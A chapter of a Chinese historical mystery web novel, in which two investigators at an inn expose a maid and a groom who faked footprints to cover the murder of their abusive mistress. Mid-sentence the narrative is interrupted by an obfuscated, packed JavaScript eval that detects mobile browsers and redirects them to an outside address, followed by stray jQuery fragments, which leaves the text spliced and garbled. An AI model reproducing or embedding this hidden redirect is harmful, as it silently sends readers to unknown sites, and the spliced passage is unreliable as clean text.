那店家战战兢兢，弓着身子，“小店隔壁不远便有个药铺。”


    秦艽闻言，若有所思地看了看躺在榻上的丫鬟。他想到楼下那辆扎眼的马车，将店中的伙计拉来，给他两锭银钱，悄声附在耳边嘱咐了几句。


    屋中弥漫起一阵淡淡的药味儿，这老翁躬身靠在榻边，由薛灵玥扶着，剪去了丫鬟肩上的衣裳，见刀口不算太深，他立刻手脚麻利地敷上止血的药膏，正要包扎，被薛灵玥制止，她道：“先给她找块干净布子盖着，一会儿官府来人，恐怕还要验看。”


    视线瞥过老翁药箱里磨得发亮的麂皮针囊，薛灵玥又道：“恐怕还得烦劳先生给她施上几针。”


    果然随后不消一刻钟，庆州衙门的人便来了。


    杜捕快年约五旬，生得高瘦黝黑，脸上干巴得似乎只有薄薄一层面皮。进到屋中看了一圈，便勾起嘴角，双眼一眯，笃定自信的视线反复在薛灵玥与秦艽身上游移，“你们两个，跟我回衙门！”


    最先发现凶案现场的人往往具备重大嫌疑，他们住的又离死者最近，似乎还会武艺，怎么看都十分可疑。


    成珏一听便眉毛竖起，被林逸之悄悄拉住袖子：“这庆州长史先前是京兆衙门的人，与咱们一向不睦，就算亮了身份，在他哪儿也要登记造册，何况现在咱们手里没有旨意，万一他故意拖延我们两日，岂不是白吃哑巴亏？”


    “那你说怎么办，”成珏气得一把抓住门框，低声道：“实在不行，我这就带着师父的牌子去找庆州刺史——”


    “何须带回衙门，小二，去请长史大人上楼来，这案子我们现在就能破！”薛灵玥轻笑一声，引得满屋哗然。


    杜捕快冷笑一声：“长史大人岂是你一个黄毛小儿说见就见的，随我回衙门，自有你辩驳的时候！”说着“哗”一声抽出刀来，怎料刀刃年久发涩，竟卡在半空不上不下，拔也不是，按也不是，滑稽的杵在身前。


    薛灵玥忍俊不禁，赶忙别过头去。


    周围众人亦是见之发笑，窃窃私语起来。


    杜捕快用力把刀往回一捅，跳起来喊：“笑什么笑！再敢笑的，一个个的都跟我回衙门去！”


    “听说有人要见本官，”众人身后，楼梯处突然传来一道低沉的男声，来人气定神闲，老神在在，“口放厥词的是哪个？”


    那小二机灵，忙指着角落里的秦艽与薛灵玥道：“大人，就是他们！”


    围在门外的众人纷纷让开条路，只见一个浅绯色官袍，腰佩银带的官员款步而来，他长着一对八字眉，绿豆眼，胖脸儿圆滚滚的。


    林逸之慌忙躲到成珏身后，低声努嘴，“崔长史，他认得我。”


    成珏会意，把腰一叉，十分威武地挡在林逸之身前。


    “就是你们能破案？”崔长史耷拉着八字眉，将杜捕快赶到一边去，扬声道：“说来听听。”


    此刻屋中灯火尽数点起，照得四周明亮如昼。薛灵玥眼中灵光一闪，悄悄退后半步，捅了捅秦艽的腰，悄声道：“大人问呢，你去说。”


    秦艽正垂着脑袋不知在想什么，茫然一愣，“啊？”


    他这两日总有些心绪低落，薛灵玥正愁没法子给他松松神儿，干脆用力推了他一把。


    秦艽一个踉跄，连忙行礼道：“那我还有几个问题，需先问店家。”


    崔长史好脾气地点了点头。


    “这妇人的路引你可登记过，写得什么？”秦艽道。


    店家捧着册子，双手直抖，“小店历来严守规矩，这妇人自称是盐州刘家的长媳，回鄚州探亲，身边只带着丫鬟马夫两个下人，都在店中了。”


    秦艽点点头，走到窗边，朝下喊道：“带上来罢。”


    众人都凑着脑袋往楼梯处等着，果然没一会，便见两名店伙计扭送着一个身着短褐的马夫爬了上来。


    这马夫约莫二十出头，生得面相端正，结实壮硕。一见崔长史立刻跪下喊冤：“大人，小人从夫人进店便宿在后院的杂役房中，他空口白牙，屏何诬陷于我！”


    崔长史狐疑地打量马夫几息，也有些不信，“对啊，你的证据呢？”


    “脱了他的靴子。”秦艽一抻下巴，伙计立刻动手。


    那马夫恶狠狠道：“我这靴子半分泥都不曾沾过，正好还我清白！”


    崔长史闻言，走到窗边看了看，伸手一指，“哎呦，这楼下墙根可是片泥水塘，他若是从窗进出，靴子必然是脏的才对呀。你这小郎君可不要哗众夸大！”


    秦艽泰然自若，先慢条斯理地掏出一块绢布垫在手上，才带点嫌弃的捻起靴子，“大人请看，这靴子确实半点污泥也无，不仅如此，连鞋底几乎都是全新的，据店家所述，这位夫人奔袭千里回娘家探亲，路途遥远，便是再爱惜，也做不到一点磨损也无。”


    那马夫愣了一瞬，便听秦艽轻笑道：“或者，你现在就将先前穿的靴子拿出来，给大人看看，以证清白。”


    “我......我路上扔了。”马夫气焰登时弱了几分。


    崔长史冷冷一笑，“有意思，接着说！”


    秦艽周身气息一沉，朗声道：“其实本案最大的疑点，是这两枚脚印。”他走到窗边，薛灵玥立刻配合地递来油灯，将窗沿照得格外亮堂。


    “今夜案发时分暴雨才停，凶犯若从外面翻进来，脚上必定尽是泥水。巧的是屋内水渍未干，凶犯在屋里踩过一圈，一定会将鞋底的泥蹭掉一部分，待爬窗再走时，脚印自然与进来时不同。但众位请看这两枚鞋印，无论是鞋尖冲内，亦或鞋尖朝外，其色质均完全一致。”


    “另外，这两枚鞋印的受力点不对。若是人踩上去，压力极大，受力点会按照个人的习惯有所轻重，窗沿边积攒的灰尘也会随之拓印，但这两枚鞋印边上却是平的，说明是有人用手按住靴子，印上去的。”


    “最后，除去方才几位进屋时踩脏的部分，这屋中残存的水渍至今仍是清的，尤其是死者的床边，更没有半点泥印，说明凡来过这屋中的人，不论是不是凶手，靴子都是干净的。”


    他说完，黑眸一亮，目光如剑射向软榻：“所有证据都表明这两个脚印是故布迷阵。而有时间和条件做下这一切的，只能是丫鬟云香了。”


    那老翁正在施针，听到此处，不由得惊觉一抖，针尖猛地深了半寸。但或许就是这一扎，让她体内经脉尽通，那昏迷半晌的云香竟微微一颤，睁开眼了！


    崔长史忙凑来，可见她神色迷蒙，尚且问不得话，气得朝那老翁道：“继续扎！！！”


    虽已是暗中叹服，崔长史仍还有些疑窦，狐疑道：“可照你这么说，她使苦肉计给了自己一刀，那刀在何处，这屋中没有啊？”


    秦艽转


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655198|185359||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过身来，沉声一笑：“这就要问马夫了，如我所料不错，你穿着旧靴接近窗下，接住她扔出的刀和靴子，再将自己脚上沾泥的靴子一并换下，把它们都藏在了马车里。你家的油壁车外涂朱漆，配以描金，是夹层车架惯用的装饰手段，寻常的夹层至少也有六七寸宽，足够你藏下这点东西了。”


    崔长史闻言绿豆眼一亮，立刻朝门外的衙役道：“去找，给本官拆了那车也得找出来！”


    “是，大人！”


    七八个衙役一齐称是，听得马夫心头阵阵发颤，面色灰败，双腿再也支撑不住，朝那昏迷中的云香哀哭一声，便猛地歪倒在地。


    他这一声痛呼彻底叫醒了云香，她指尖微微一动，躺在榻上，凄然地转过头来，气若游丝：“五哥……”


    话未言明，便已是泪流满面。


    秦艽示意伙计松开绳索，马夫刘五郎立刻手脚并用地爬到榻边，双手紧抱住云香冰凉的身体，两人额头相抵，哭喊之声，撕心裂肺：“都是我没用，云香，都是我没用！若我能多攒些银子，早把你赎出来——”


    “不，不要……这么说……”云香声音低浅，“你愿意……陪着我就好了，至少，我死也是……干干净净的……”


    秦艽声音不自觉放软，“你二人，到底因何杀害主家？”


    “呵，那蛇蝎心肠的歹毒妇人，我只恨杀晚了！”


    刘五郎回过头来，双目通红：“我与云香自幼被卖到她家为奴，这妇人出嫁前曾答应日后为我二人放籍证婚，但后来一切都变了。她迟迟无子，便打起身边人的主意，给郎君连抬四五个丫鬟犹嫌不足，但那些丫鬟一旦有孕，又接连被她毒杀……”


    崔长史“啧”了一声，“盐州刘家也是世家大族，怎会放任家妇做出如此有辱门楣之事！”


    “反正他们这群狗娘养的高门大户，都是一般龌龊腌臜！”刘五郎怒而暴起，眼中几乎要溢出血泪，吓得崔长史连连后退，衙役们赶忙拔出刀来。


    秦艽侧身半步，挡在刃前，替他解释：“所以，她又盯上了云香？”


    “……是，她这次回鄚州只带我二人，便是为了采买丫鬟，可惜都不中意。”刘五郎喉咙中发出压抑的呜咽，“云香忠心护主，这些年为她挡了多少暗箭，她竟还不愿放她一条生路……”


    “眼看离盐州越来越近，我与云香已经没有退路，只得将她哄得顺心称意，借雨水掩盖痕迹，趁机杀了她......”


    薛灵玥站在暗处，细看着云香惨白的眉眼。原来所谓跋扈恣睢，只是她的生存之道，而非本心。


    屋中一时安静地只有两名凶犯压抑的哭声。


    直到衙役们抱着包裹好的证物上来，一柄短刀，两双靴子，正与秦艽所言分毫不差。


    人证物证俱全，不用招呼，这帮衙役自发将尸身与犯人带走清场，连着几个伙计和店主也被叫走回去写口供。


    崔长史松了口气，连连鼓掌：“好哇好哇，真是自古英雄出少年，本官果然没有看错你！”


    这事情原也简单，比不得平日那些繁复琐碎的疑案。秦艽谈不上喜悦，唇角微微勾起，躬身行了个礼：“多谢大人谬赞。”


    话音才落，门外众人也纷纷齐声盛赞，觉得今日这店住的真是值了，有的还趁乱道：“小郎君是何地人，要往何处去，可曾有婚配了呀？”